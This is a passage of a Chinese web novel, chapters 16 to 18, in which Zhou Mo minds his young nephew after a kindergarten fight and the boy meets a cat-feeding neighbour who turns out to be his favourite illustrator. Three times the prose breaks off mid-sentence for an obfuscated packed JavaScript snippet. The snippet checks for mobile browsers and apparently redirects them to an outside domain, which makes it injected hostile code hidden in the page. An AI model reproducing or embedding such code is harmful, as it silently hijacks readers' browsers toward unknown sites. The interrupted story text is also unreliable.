“咦？”发觉椅子停下的袁周率小朋友惊诧不已，扭头一看，这才发现旁边的周默。 “舅舅！”他立马开心地朝他招手。 周默扫了几人一眼，淡淡地说：“不是让你在办公室等我吗？” 袁周率小朋友闻言扭扭屁股，从椅子上蹭下来，几步小跑来到周默跟前：“舅舅我刚刚去尿尿了，但是你们的厕所太高了，我够不着，是这个哥哥帮的我！”说着，他指向旁边一个男生。 男生被他一指，顿时浑身一僵，小心地回过头来，看着舅甥俩尴尬笑笑。 周默垂眸看了眼跟前的小胖墩，又冲那名男生颔首：“麻烦了。” “没没没没！举手之劳，举手之劳……”男生赶紧又是摇头又是摆手，一阵手忙脚乱。 周默没再说什么，一手抄兜转身往回走。 袁周率小朋友见状连忙朝几人摆摆手，小大人似的说了句“我走了，拜拜”，然后转身一边喊着“舅舅等等我”一边朝周默追过去，等追上了，他又自觉牵住周默垂着的那只手。 周默脚步一顿，低头看向正拽着自己小拇指的萝卜丁。 袁周率小朋友不明所以，仰头对上他的视线。 下一秒，他揉揉肚子：“舅舅我饿了，你什么时候下班呀？” 周默：“……” 这小屁孩是真不会看人脸色还是假不会看？ 白有个当心理咨询师和心理学副教授的妈了。 …… 之后的几天，只要去公司，周默都过上了这种来回折腾的生活：早上把小家伙送去幼儿园，然后去公司上班，半下午再把人接去公司，等下班了一起回家。 因为长得喜庆，在外人面前又贯会甜言蜜语讨巧卖乖装无辜，袁周率小朋友在精卫竟然人气颇高，往往周默一个看不住，他就不知道跑去哪个工位上跟人侃大山去了。 一次两次周默还去找他，后来干脆在公司大群里喊话，让人把他赶回来。 而不去公司打卡的日子，在小家伙放学后，周默就要忍受他接连不断的“舅舅舅舅”骚扰…… 不过不知是不是因为白天操碎了心，这几天周默的失眠倒是好了许多——这倒也算是份意外的收获。 可即便如此，这日子过得，还是让人心力交瘁。 16. 矛盾升级 “怎么样，咱们袁周率小朋友？” 精卫的公司食堂里，祝赫看着面前眉头紧锁的男人，一脸看热闹不嫌事大地问。 他前几天去出差，虽然没见着面，但也从公司群里看到了周默带小外甥来上班以及在群里喊人的消息。 他与周默相识多年，对于周默的家庭情况基本也都了解，跟袁月这个继妹，还有袁周率这个没有血缘关系的小外甥也见过几面，故而也清楚小家伙的性子，不用想也知道，能把周默折腾得不轻。 听了祝赫的问话，周默手中筷子一顿，但最后他只是吐了口气，摇摇头继续吃饭。 祝赫看他这反应，乐得不行：“这才几天就把你折腾得没话说，小家伙功力见长啊！” “如果你想体验体验，剩下的时间我不介意把他送你家去。”周默撩起眼皮觑了他一眼，说。 这才刚开始就这么难搞，周默简直不敢想象剩下的日子怎么熬。 “诶，不用不用！”看兄弟出洋相是享受，到自己身上可就是罪受了，祝赫连连摆手，“这么可爱的大侄子你自己留着就好了。” “呵。”周默冷笑一声。 可爱…… 这时，一旁的手机突然响了起来，周默随手拿起来，只一看，脸色便沉了下来。 祝赫见状不禁好奇：“谁电话呀？” 周默没理他，不过下一秒答案便揭晓了。 只见他滑开接听键，将手机放到耳边，直接说了句：“你好，孙老师。” 祝赫顿时眉头一挑：老师啊？难不成小家伙在幼儿园闯祸了？ 对面周默仍在通话中： “方便，您说。” “现在？” “是袁周率有什么事吗？” “打架？！” 哦吼—— 祝赫看着周默紧拧的眉头，心里为小家伙默默点了根蜡，紧接着又忍不住想笑：夭寿了，从小到大被老师和学校捧着护着的天才周默，竟然被叫家长了？这简直是本年度最大的笑话！ 正想着他突然感觉周身一冷，抬眼就对上周默带着寒意的眼神，他赶紧绷直唇角，装作什么也不知道，埋头快速扒了几口饭。 挂断电话，周默一张脸早已如冰块一般，他抽了张纸擦擦唇角，起身就要走。 “哎哎，”祝赫见状赶紧跟上，“什么情况，小家伙真在幼儿园跟人打架了？” “嗯。”将餐具放到回收处，周默大步往外走去。 等回到楼上，他拿了钥匙就要离开，一路跟来的祝赫连忙喊住他，问：“那你下午还来得及吗？两点钟开会呢！” 这次会议是公司内部好几个研发团队的碰头会，主要是为了捋顺新产品各个环节之间的配合和衔接，相较于之前各组内部，这算是一次比较重要的会议。 周默脚步一顿，面露懊恼。 他还真忘了这事了。 想了想，又折回去拿过电脑，边继续往外走边说：“我带着电脑，回头看情况，来不及的话就线上参会，你们照常开就行。” “……那，好吧。”也只能这样了。 跟着他来到电梯间，等电梯的时候，祝赫看着旁边面无表情的一张脸，不放心又提醒道：“你别动手啊，也别骂孩子，对小孩要耐心点，态度好点！” “我尽量。”周默声音中带着明显压抑的情绪。 话音刚落，电梯就来了，他头也不回，大步走了进去。 祝赫站在外面，看着渐渐关上的电梯门，默默为袁周率小朋友送上同情的祝福。 - “谢谢光临，请慢走。” “或者”咖啡，闯闯将做好的咖啡装杯封袋，拿给等待的客人，而后才觑了眼身旁的某人。 “最近怎么样？你那新邻居还躲你吗？” 迟了了正拿块抹布擦桌子，闻言停下动作，双手叉腰无所谓地摇摇头：“不躲了，因为根本见不着面！” 五月的天气，风里已经多了丝燥热，迟了了穿了件淡紫色的娃娃领碎花衬衫裙，外面又罩了件奶白色的针织马甲，脚上一双彩虹色长筒袜搭配小白鞋，整个人透出十足的春日气息。 随着她摇头的动作，耳边戴着的那枚七色花水晶发卡也晃了两下，折射出夺目的光彩。 和她打扮不同的是她的语气。 乍一听好像没什么，但仔细一回味又掺着浓浓的怨念。 闯闯和阿葱交换了个眼神，都忍住没笑出来。 “那你这睦邻友好的计划，还继续吗？” “我一直很睦邻友好呀，”迟了了忿忿地继续擦桌子，“只是他不太友好，那我能怎么办？我只能先暂时保持距离咯。” “哟，为什么？”闯闯挑眉问。 真是稀奇了，小太阳迟三三竟然就这么被打败了？ 迟了了听出她话里的揶揄，瞪了她一眼：“我又不是那么没眼力见的人，人家都不喜欢了，我还巴巴地凑上去？” 谁还没点小脾气咋的？ 再说了，虽然她的第一志愿是跟他做朋友，但现在既然行不通了，就只能退而求其次，别让新邻居烦自己了，不然把人提前逼走了怎么办…… - 幼儿园门口，周默单手插兜走出大门，后面几步外，袁周率小朋友一手书包一手水杯垂头丧气地跟着。 书包袋子有点长，小胖墩走了没几步就不小心踩到，踉跄了一下差点摔倒。好不容易站稳了，往前一看——高大的身影仍兀自往前走着，显然完全没有察觉到自己的狼狈。 小胖墩心中不免委屈得慌，伸长脖子就要喊，可刚张开嘴又想起刚刚在园内发生的事情，立刻又气呼呼地将头撇去一旁，最后索性将书包往地上一扔！ 不走了！ 周默头也不回地走到车前，打开车门，直到要上车了才发现小屁孩没跟上来。 他也不动，就这么一手把着车门一手搭在车顶一言不发地看着，神色淡淡，看不出生气，但也没有丝毫要哄人的意思。 一大一小就这么隔了几米远的距离僵持了好大会儿，最后还是小的败下阵来——要么说还是小孩子没有作战经验呢，此时如果是祝赫在场，肯定从一开始就劝他放弃了，因为要跟周默比定力，迄今为止还没人能赢呢。 袁周率小朋友蔫巴巴地捡起书包，再度拎着两件套往车子这边挪。等上了车，自己系好安全带，整个人无精打采地瘫在儿童座椅里，浑身上下只写着四个字： 不、想、理、你。 正好，周默也不想搭理他。 被幼儿园老师叫家长，还要给别的家长低头道歉，他活了三十年没干过这么丢人的事儿！ 驱车掉头，汽车驶上马路，汇入午后略显稀疏的车流中。 车内两人谁都没有开口，周默面无表情地开车，小家伙撇头看着窗外。 过了会儿，清澈乌黑的眸子有些撑不住了，眨了眨，悄悄转到车内，但在看到那冷漠无情的背影的瞬间又唰地转了回去，胖嘟嘟的下巴肉往上一扬，小脸上倔强更甚。 几不可闻的一声轻哼传入耳中，周默抬眸看向后视镜，目光扫过肥嘟嘟的脸颊和撅得老高的嘴巴，淡淡收回视线。 孩子不老实，冷一冷再说。 只是原本他还打算回公司，现在看来也算了，一路无话，汽车径直驶回翠湖里，在8号楼下驻车熄火。 经过这一路冷静，周默的火气已经消得差不多了，他解开安全带，又往后视镜里扫了一眼，不承想却正对上小家伙鬼鬼祟祟瞄过来的眼神。 正要说什么，小家伙又哼地一声把头扭回去，梗着脖子继续看窗外。 “……”行，还挺有骨气。 “回去。”他说。 小家伙却不领情，双手一抱下巴一抬：“哼，不回！” 周默刚刚修复好的耐心再度摇摇欲坠，深吸一口气，他咬咬牙，沉声开口：“那就先下车，我要锁车。” “不下！”小家伙像是跟他犟上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818844|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 周默额角青筋跳了跳：“你妈妈应该教过你，被困在车上可能会窒息死亡。” 这，小胖墩一噎，倒确实说过，不仅说过，还给他看过新闻视频。 但是—— “我要是被困在车里了，正好砸了你的车！”这个他也学过！ 这伤敌一千自损你八百的招数显然是在周默的底线上来回蹦跶，他闭了闭眼，发出最后通牒：“再不下车，我就把你送你爸那去。” 然而刚话音刚落，他就意识到自己失言了。 往后视镜里一看，上一秒还满是倔强的双眼果然已经红了起来。 袁月的前夫，是她从大学谈到研究生毕业的恋人，两人感情深厚，一毕业便结了婚，婚后不久袁月就查出怀了孕。可就在坐月子期间，她却发现了丈夫出轨的事实，性情果决的她立马选择了离婚，自此成为了一名单亲妈妈。 而和袁月不同，小胖墩生理学意义上的父亲在恢复单身后不久，出轨对象便传出了怀孕的消息，两人顺理成章结了婚，不过几个月便又生了个孩子。 而又与周默母亲和袁月父亲的结合不同，小胖墩这位生理学意义上的父亲是典型的有了后娘就有了后爹，娇妻在侧娇儿在怀，再看先前的孩子自然也就觉得多余了。袁月原本想着，即便父母离异，也没必要和亲生父亲那边老死不相往来，毕竟孩子的成长，父亲的角色也很重要，便也不介意小胖墩每月定时去见那边的亲人。 可随着小家伙渐渐长大，每次从那边回来他都一副闷闷不乐的样子，后来更是开始抗拒过去。袁月虽然大大咧咧却也不傻，心里立刻便起了疑。调查之后发现自家儿子每次去那边都要遭受一番冷暴力，还要被那小三生的孩子欺负后立马跑去大闹了一场，再之后，两边便彻底断了联系。 对于那一家子，周默也是发自内心地唾弃，这次如果不是气急了，也不会拿出这种话来威胁眼前小家伙。 此时见小家伙这反应，他心里也是后悔不已。 正要说什么，小胖墩却抬起袖子一抹眼睛，一把解开安全带，拽着书包和水杯就跳下了车。 周默赶忙下车跟上去。 然而小胖墩却没往楼里走，而是怒气冲冲地往反方向走去。 “你去哪？”周默几个大步上前，按住他的肩膀问。 “别管我！”小胖墩一把甩开他的手，低声怒吼道，转而绕过周默继续往前走。 周默再次上前拦住他，这次不等小家伙开口便弯下腰半蹲在他跟前：“对不起，我跟你道歉，我不该提他。” 明明一开始生气的自己，可到头来先服软道歉的竟然也是自己，周默心里一阵恼火，但也无奈，谁让自己口不择言了呢。 小胖墩心里本来就是委屈大于愤怒，听到周默的道歉，又怎么也挣不开他的手，撇嘴喘了几声粗气后，“哼”地一声将头撇系那个一旁，面对着路边花坛拿后脑勺对着周默。 两人就这么对峙着，一时间谁也没有说话。 周默等了一会儿，见他呼吸渐渐平复下来，才又问：“现在能回去了吗？” 小胖墩回头看了他一眼，又一次转过去：“我还没说原谅你呢！” 周默：“……” 抬手看了眼时间，已经1点45了。 他看向小胖墩，语气中已经有些不耐：“那你想怎样？” 小胖墩像是没听出他声音中的不快，又或许是故意跟他作对，抬手环视一圈，最后抬手一指：“我要去那边玩。” 周默顺着他手指的方向看去，发现那边是小区里的儿童公共游乐设施。 垂眸对上小胖墩略带挑衅的目光，他强行按住自己直接把小孩抱上楼的冲动：“你只有五分钟时间。” 左右也赶不回公司了，那干脆再陪他耗五分钟。 小胖墩耸耸肩，不知把他的话听到心里没有。 就这样，从来对小孩子敬而远之的周默，自长大后头一次踏足小朋友的游乐区。 17. 有点猫缘 下午一两点钟的时间里，大孩子都去上学了，小孩子还在午睡，游乐区里只有小胖墩一人。 他在滑梯上来来回回、上上下下，一趟又一趟，不亦乐乎。 周默一手电脑包，一手拎着书包和水杯站在边上，强迫自己再挤出一些耐心来。 就在他最后一丝耐性即将告罄时，祝赫发来消息，提醒他别忘上线，他看了眼时间——1点55了。 “3.14，该回去了。”他朝那个跑得气喘吁吁的身影喊道。 小胖墩第N次跑到爬梯上，正踩着疙疙瘩瘩凸起的斜坡往上爬，似乎没有听到他的声音，继续哼哧哼哧地努力。 “袁周率。”周默又唤。 “啊？”叫大名多少还是有些效果的，小胖墩终于有了一丝反应，头也不抬地应了声。 “十分钟到了。” “可是我还没玩够。”终于爬了上去，小家伙站在上面居高临下地看着周默。 “可是时间到了，说好的十分钟。” “我不！”小家伙头一甩屁股一扭，转身又坐了下去，哧溜一下从滑梯上转了下来。 塑料滑梯上有静电，从顶上滑下来，他头发都竖起来一层，跟个海带似的，而在双脚落地的一刹那，静电导入地面，竖起的头发又唰地一下全倒了下去，头发打在头皮上，发出“啪”的一声轻响。 小胖墩被打得摸了下头，没有在意，爬起来又要继续跑。 周默却没耐心跟他好声好气了，两步上前，俯身一把抄起小家伙，直接扛在肩上就要走。 “啊呀！”小胖墩吓了一跳，反应过来后倔劲也上来了，手脚并用拳打脚踢地挣扎起来，一边挣扎还一边大喊大叫，“我不走我不走！我！不！走！” 周默被他吵得耳朵疼，抬手就照着他的屁股狠狠招呼了下，然后扛着他继续往前走。 小胖墩“嗷”地一声痛呼，等反应过来自己竟然被揍了，顿时反抗得更加剧烈，挺起脖子就喊：“救命啊！偷——” 还没喊完，他就被周默放了下来。 计谋起效，小胖墩站在地上双手叉腰，挺起胸膛，哦，是挺起小肚子仰头看着周默。 再好的定力遇上这么个熊孩子也得崩溃，周默也低头看着他：他刚刚要是没拦住，自己现在是不是已经成为偷小孩的贼了？！ “你不回去是吗？”他沉着脸最后一次郑重问他。 “不回！”小屁孩还沉浸在获胜的喜悦中，得意洋洋，丝毫不让。 “行。”周默不跟他犟了。 反正这样的状态就算回去也耽误他开会，他干脆说：“我现在有工作必须回去处理，你要是还想在这儿待着，那就老老实实待着，不准跟别人走、不准跟陌生人说话，玩够了自己上来，或者等我处理完工作下来接你，知道吗？” 正准备继续对战的小胖墩突然被这么顺着，一时有些蒙圈，心里随即涌上一股说不出的失望。 “听见了吗？”周默见他没反应，沉声又问了一遍。 “啊。”小胖墩不想让他看见那点失望，不清不楚地应了一声，转头就往旁边的沙坑跑去。 来到沙坑抓了把沙子，小胖墩又转转身子，拿屁股对着周默，然后朝后摆摆手，示意他赶紧走吧，就不再理他。 周默望着那圆润的屁股蛋儿，一只脚抬了抬，几乎忍不住要踹上去！ 可最后他只能忍了—— 踹哭了还得哄，麻烦！ 时间快来不及了，他临走前又交代了一遍：“就在这个区域内玩，不准乱跑、不准跟陌生人说话、不准拿别人的东西吃，知不知道？” “哎呀知道了！”小屁孩不耐烦地了应一声。 手机里祝赫再次发来催问，周默回了句“马上”，可还是不放心，一步三回头地走了出去，最后见他还算老实才彻底转头离开。 游乐区内终于安静下来，小胖墩一个人哼哧哼哧埋头挖沙子。挖了一会儿，觉得有点无聊，便又去滑滑梯。 可滑梯似乎也没有刚才好玩了，他玩了两趟就没了兴致，最后索性坐在滑梯底部平缓的那截尾巴上，肥嘟嘟的小爪子托着肥嘟嘟的脸颊。 刚抓过沙子的手捂在脸上，立马给白净的脸蛋蹭上几抹脏痕，小家伙浑然不知，兀自看着前面发起呆来。 突然，前面不远处的车子底下有什么东西一闪而过，他失神的眼睛噌地一亮，立马爬起来，猫着腰滴溜溜地朝那边小跑过去。 - 小巧的宝宝巴士驶进小区，在8号楼下找了个车位，轻轻一摆，便灵巧地停了进去。 迟了了解开安全带，嘴里哼着不成调的曲子下了车，却没有立即上楼，而是绕到车尾，打开了后备厢。 白色的卡通储物箱随之露了出来，她打开箱子，从里面拿出一个小碗，从一个袋子里舀了勺猫粮，又从另一个袋子里拿了两根宠物香肠，这才关上后备厢，转身往后面走去。 小区里有只三花猫，是迟了了的好朋友——至少迟了了是这么认为的。 不过那猫性情极其高冷傲娇，一人一猫友谊建立的最初，还是全靠迟了了的死缠烂打和美食诱惑。 小区里除了地下车库，楼下路两边也会划出一些停车位，那猫格外喜欢儿童游乐区旁边的一个位子，车位上没车时，它就躺在车位上舔毛睡觉，有车时，它便会跳到车顶上，居高临下，仿佛一个高高在上的君王。 那时候，每天下楼，迟了了都要给这只猫带根宠物香肠。起初，面对迟了了的投喂，它总会淡定地转过头去，做出一副“本王才不稀罕”的姿态。 迟了了自然有些失望，只能带着香肠离开。 直到某一次，她离开后一回头，却发现那猫竟然从车上下来了，正偷偷蹲在她刚刚放香肠的地方小心翼翼地嗅，时不时地，还抬眼打量一圈周围。 这一打量，一人一猫就对上了眼。 迟了了当时仿佛听到了这猫尴尬地咳了一声，而后若无其事地抬起头，转身迈着优雅的猫步，款款走开。 福至心灵，迟了了立刻就有了点子。 第二天，她照常带着香肠去喂猫，流浪猫也照旧摆出一副目空一切的模样。但这回，迟了了“失望”离去的时候，却“忘了”把香肠带走。过了会儿，她从一辆汽车后悄悄探出头，果然见那只猫吃得正香。 嘿嘿，这下可被她抓了个现行。 那猫似乎也意识到自己被这无耻的人类给“钓鱼执法”了，于是给了迟了了好几天脸色看。 然而凡事有一就有二，吃了第一根香肠，又怎么还能拒绝第二根呢？不过矜持了几天而已，它便在迟了了的美食攻势下彻底破罐子破摔了。 之后，迟了了一有时间就会下楼喂它，还给它取了个名字，叫“花花”。 “花花”对迟了了仍不亲昵，但该吃的却照吃不误。 …… 可今天，迟了了照旧来到那个停车位，却发现它并没有像往常那样盘踞在车顶。 不仅如此，车旁边还撅着一个胖胖的小屁股。 一个小胖墩正跪在地上朝车底下探头张望着，嘴里还奶声奶气地唤着：“猫猫，猫猫来。” 迟了了自认在小区里人缘不错，加上画儿童绘本的原因，小区里的小孩基本都认识，可眼前这小家伙她却没有见过。莫非……是刚搬来的？ 别说，胖嘟嘟的，还挺可爱。 她走上前去，抱着膝盖在小家伙身旁蹲下。 “你好呀小朋友，你是哪家的小孩呀，我以前怎么没见过你？” 袁周率小朋友唤猫的声音一顿，警惕地抬头看了她一眼，上下扫了扫，默不作声地往后挪了挪。 他虽然还在生臭舅舅的气，但好赖话还是听得懂的，再说妈妈和孙老师都教过他，要对搭讪的陌生人保持戒备！ 这反应落在迟了了眼里却觉得他更可爱了，好想rua！ 见他仍探头朝车底下呼唤着却始终没有成功，眼睛一转，她拿出一根宠物香肠都给他：“给你这个。” 小胖墩又是一顿，严肃地看着迟了了。 “它爱吃这个。”迟了了朝他眨眨眼，说。 小胖墩还是看着她不说话。 警惕性还挺强，不错，值得表扬！ 迟了了点点头，干脆拆开一根自己演示了一遍。 不一会儿，车底下一只从头顶到尾巴黄白灰色相互交织的大猫便钻了出来，一口要咬住香肠，吃得全神贯注。 迟了了看向小胖墩，见他一脸蠢蠢欲动，便说：“你可以摸摸它，它打过疫苗的，也做了驱虫。” 小胖墩再次看向她，迟疑了片刻还是在她鼓励的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818845|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神中坚决地摇摇头，然后从地上爬起来，双手往腿弯里一插，继续“不参与，只旁观”地用清澈的眼神撸猫。 嘿！迟了了挑挑眉。 小家伙挺有定力呀。 等喂完了一根香肠，迟了了将肠衣收起来，又把猫粮放在地上。 花花大口大口地开吃。 小胖墩见它对迟了了这么不见外终于还是忍不住了，小心翼翼地瞟了迟了了好几眼，才试探着问：“这只猫，是你养的猫？” “不是哦，是小区里的猫。”迟了了笑眯眯地说。 小胖墩眨眨眼：“流浪猫？” 迟了了想了想：“算是吧，但做过绝育手术了哦！” “绝育手术？” 这是小朋友没有听过的词汇。 “对，就是一种让小猫小狗不能再生小宝宝的手术。” 小朋友顿时大惊：“为什么不让它生小宝宝？” “因为对它身体不好哦。” 小家伙迟疑了下：“生小宝宝，就会身体不好吗？” “额，”这一次迟了了没有立刻回答，而是斟酌了一下措辞，才说，“不是小宝宝不好，是不做绝育手术对它们不好。” 这下小胖墩听不懂了，歪着脑袋想了好久也没明白，但他也没再继续问，转而看着正在吃饭的大猫又说：“它跟我知道的一只猫很像。” 迟了了没有多想：“它是三花猫，三花猫长得都差不多。” 小胖墩却摇摇头，带动肥嘟嘟的脸颊肉也晃了晃：“不是，它们特别像，连头顶的那颗黄色小心心也一模一样。” “哦？那只猫在哪里？” “在书上。”小胖墩说。 “书上？”迟了了眨眨眼，心里冒出一个念头。 “嗯！它叫花花，是个超级帅的猫骑士！”小家伙说着有些激动起来。 迟了了渐渐睁大眼，惊奇地看着身旁这个握着小拳头的小孩：“你，喜欢那本书？” “嗯！”小胖墩重重点头，“我超爱的！” 迟了了不由自主地挺起胸。 哈！谁能想到，她竟然碰到了个自己的小书迷！ 没错，《猫骑士》这本书是她前两年画的一本儿童漫画，主角原型就是花花。 这本书很受小朋友们喜欢，可没想到眼前这个小家伙也看过这本书。 嘿嘿，这个发现让迟了了不禁有些洋洋自得。 “你喜欢它什么？”她又问。 “它超级勇敢，而且聪明，而且很善良！”说到了自己喜欢的东西，小胖墩渐渐忘记了刚才的戒备，滔滔不绝地历数起自己偶像的英勇之处。 “它会帮老奶奶捡起洒掉的苹果，会帮走丢的小兔子找到妈妈，还会在晚上进入小朋友的梦里，和梦里的怪兽战斗，把怪兽打跑！ “还有还有，它战斗的时候可帅了，它有一把剑，还穿着披风，还会飞檐走壁！就这样刷刷刷刷——” …… 小家伙越说越起劲，迟了了听着，脸上的笑意也越来越浓。 多可爱多聪明的小朋友呀，她在绘本里想说的道理他都懂了！她多想告诉他，他最喜欢的这本漫画，其实就是自己画的！ 自己！ 不过……算了，还是保留点神秘感吧！ 两人聊着天，不知不觉花花就把猫粮吃完了，迟了了收拾起小碗放回车上，转身环顾四周。 说来也怪，都这么久了，竟然还没看到小朋友家长，这家长心真大。 “小朋友，你家是在这个小区里吗？”她弯下腰，双手撑膝凑近小胖墩的眼睛。 小胖墩这次倒没那么抗拒了，犹豫了一会儿，终于点了点头。 迟了了松了口气：“那你家长呢？” “在楼上。”小胖墩抬手一指旁边的8号楼。 竟然是同一栋楼的？难道楼里来了新住户，不然自己怎么从来没见过这小孩？ “你家住几零几呀？” “801。”小胖墩答。 801？！ 迟了了惊了，赶紧后退两步重新打量眼前这小家伙。 801不是周默在住吗？！ 难道—— 周默都有这么大的儿子了？！！！ 想到这种可能，迟了了双下巴都被吓了出来…… 18. 送娃上门 “那接下来各部门就先按刚刚说的各自执行，有什么问题及时沟通。”线上会议室里，祝赫为会议做最后的总结陈词。 周默听着耳机里陆续传来其他人的应声，而后随着祝赫的又一句“那今天就先这样，你们先出去吧，周默你先别下线”，那边又响起一阵收拾东西和开门关门的声音。 又过了一会儿，那边彻底安静下来，周默正想问他还有什么事，却见原本深灰色的会议窗口骤然一亮，祝赫嘴角噙着一抹狐狸般的笑凑了过来。 “怎么样？咱们3.14小朋友跟人打架赢了还是输了？” “……”周默顿觉无语，“你只关心输赢？” “那当然，”祝赫挑眉，“这事关男子汉的尊严！” 周默懒得理他。 “哎，小家伙呢？我自己问他。” “楼下自己玩呢。”周默想起刚才的情形，还是觉得心烦。 祝赫哈哈一笑：“行，那看来是赢了！” 确实赢了，而且靠体形压制，把对方衣服都给撕破了，自己给人家长赔了好些个不是对方才肯原谅的。 周默想起这个就窝火。 “不过小家伙到底为什么打架，看他挺有情商一小孩呀？”祝赫又问。 说起这个周默更无奈了，他抬手拿掉耳机，将声音外放，起身的同时缓缓吐出四个字：“争，风，吃，醋。” “……哈？” “有个女生给了他一颗糖果，但没给另一个男生，那个男生不高兴，就要抢他的，两人就打起来了。”他一边说，一边来到窗边，往下看去。 不出所料，他刚说完，那边就发出一阵惊天动地的爆笑。 周默也想起当时自己赶到幼儿园，听到老师讲述前因后果时的心情，而此时，当时的气愤已经消退大半，荒谬感开始占据上风，他也觉得这小孩之间的矛盾真是小题大做，不禁叹了口气。 然而下一秒，他脸色忽地一凝！ 站在书房与客厅相通的落地窗前，视线从8楼扫下去，整个儿童游乐区尽收眼底。午后的阳光依旧灿烂炙热，落在成片翠绿的香樟树和五颜六色的游乐设施上，宁静中洋溢着不安分的躁动。 周默嘴唇紧绷，微微眯起眼又细细搜寻了一遍，但……目之所及还是一个人影都没有。 更别提那个胖墩墩的小屁孩了。 他心中登时一沉，回身快步走到桌前，丢下一句“我有事先出去一趟”便抬手阖上电脑，大步朝门口走去。 - 同一时间，电梯在8楼停下。 迟了了先一步从电梯里走出来，走了两步一回头，却见小家伙没有跟出来，而是仍站在电梯里揪着手指，一脸不情愿的样子。 “走呀。”她怕电梯关上，连忙回身牵过小家伙的手，拉着他一起来到801门口，抬手准备敲门。 于是乎，周默一开门，迎面便对上了一个拳头。 他下意识往后一躲，等重新站定，目光顺着拳头看去—— 怎么又是她？ 迟了了紧急撤回差点砸在他身上的拳头，仰头看着面前高大的男人，眨眨眼，咧嘴一笑：“周默，好久不见呀！” 确实“好久”了，距离上次两人在楼下见面已经过去半个多月，这些天里，迟了了一直没敢再上门打扰他，并时刻提醒自己三个字——边界感！ 周默看着面前的笑脸，心中烦躁又多了一分，不过眼下他着急去楼下寻人，可没工夫应付她。 “不好意思，我——” 话还没说完，他就注意到她肩上背着的那个熟悉的小黄人书包。 低头再瞧，某个西瓜头小屁孩正牵着她的手，一脸心虚地躲在她身后。 周默心里猛地一松，紧接着又是一阵怒意上涌。 “袁周率。”他沉声道。 迟了了感觉掌心里的小手动了动，低头看去，却见刚刚还乖巧懂事的小家伙此时竟一脸倔强地将头扭向一旁，一张小嘴撅得跟个壶嘴似的。 就这么摆了个“我很叛逆”的pose以示态度后，过了会儿，西瓜头齐刘海下的大眼睛转了一转，瞥了眼低气压的周默又立马收回。 这一来一回间，气势已经散了半截。 终于，小家伙扛不住了，小壶嘴动了动，含含糊糊地叫了声：“……舅舅。” 迟了了本来看着这一大一小对峙，还觉得挺有意思的，可猝不及防听到这声称呼，她整个人顿时一激灵！ “等等，”她赶紧喊下暂停，俯身看着小胖墩的眼睛，“你，叫他什么？” 小胖墩眨眨眼睛：“舅舅啊。” 相较于对周默的桀骜叛逆，袁周率小朋友对于这个新认识的姐姐可是耐心温柔多了。 迟了了张张嘴，大大的眼睛在他和周默之间来回扫了好几趟，直到脖子都酸了，才长长“哦——”了一声。 “怎么？”周默不懂她这么大反应是几个意思。 “没事！”迟了了立刻摇头，起身笑容灿烂地说，“没事没事，一点小误会而已，不值一提！” 小误会？ 周默低头看向小胖墩，见他也是一脸茫然更是一头雾水。 迟了了唯恐他看透自己刚刚那荒谬的猜测，不等他再追问便将小胖墩往前面一拉：“周默，我在楼下遇到你家小朋友一个人在玩，就把他带上来了！” 这话成功转移了周默的疑惑，他对上小胖墩的目光，见他匆匆看了自己一眼又别扭地转过头，冷冷一笑，没搭理他。 “谢谢，我正要去接他。”他说。 “不用客气！”迟了了豪气地摆摆手，又提醒道，“不过以后还是不要让小朋友一个人在外面玩了，虽说咱们小区治安挺好的，但也难保不会出什么意外，你说对吧？” 万一有个高空抛物、小孩打架，或者磕着碰着了，没有大人在身边可不行。 周默没想到自己竟然被教育了，顿了顿，才低声：“……哦。” 小孩该送也送到了，该叮嘱的话也叮嘱完了，迟了了可没忘了闯闯的警告，抬手揉了揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818846|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小胖墩的脑袋： “那，我就先走了？” 小胖墩一听这话，立刻伸手拽住了她的衣角，满眼的恋恋不舍。 迟了了不动声色地瞟了眼周默，悄悄侧过身，冲小家伙眨了眨眼。 小家伙一愣，紧接着想起什么，脸上瞬间放晴，乖乖松开了抓着衣角的手。 迟了了满意地眯眼笑了笑，将背包交给正疑惑不解的周默，冲两人摆摆手，而后拐进楼梯间，啪啪啪啪地上楼去了。 …… 目送迟了了离开，周默垂眸看向仍巴巴望着楼梯口的小家伙，唇角冷冷一扯：“人走了。” 小家伙听到这话回过头来，看了他一眼，然后哼地一声，像只小牛犊一样用自己胖胖的小身板挤开周默的大长腿，头也不回地从门缝里钻了进去。 被他突然一挤差点撞上门框的周默：“……” 真想揍他一顿啊。 - 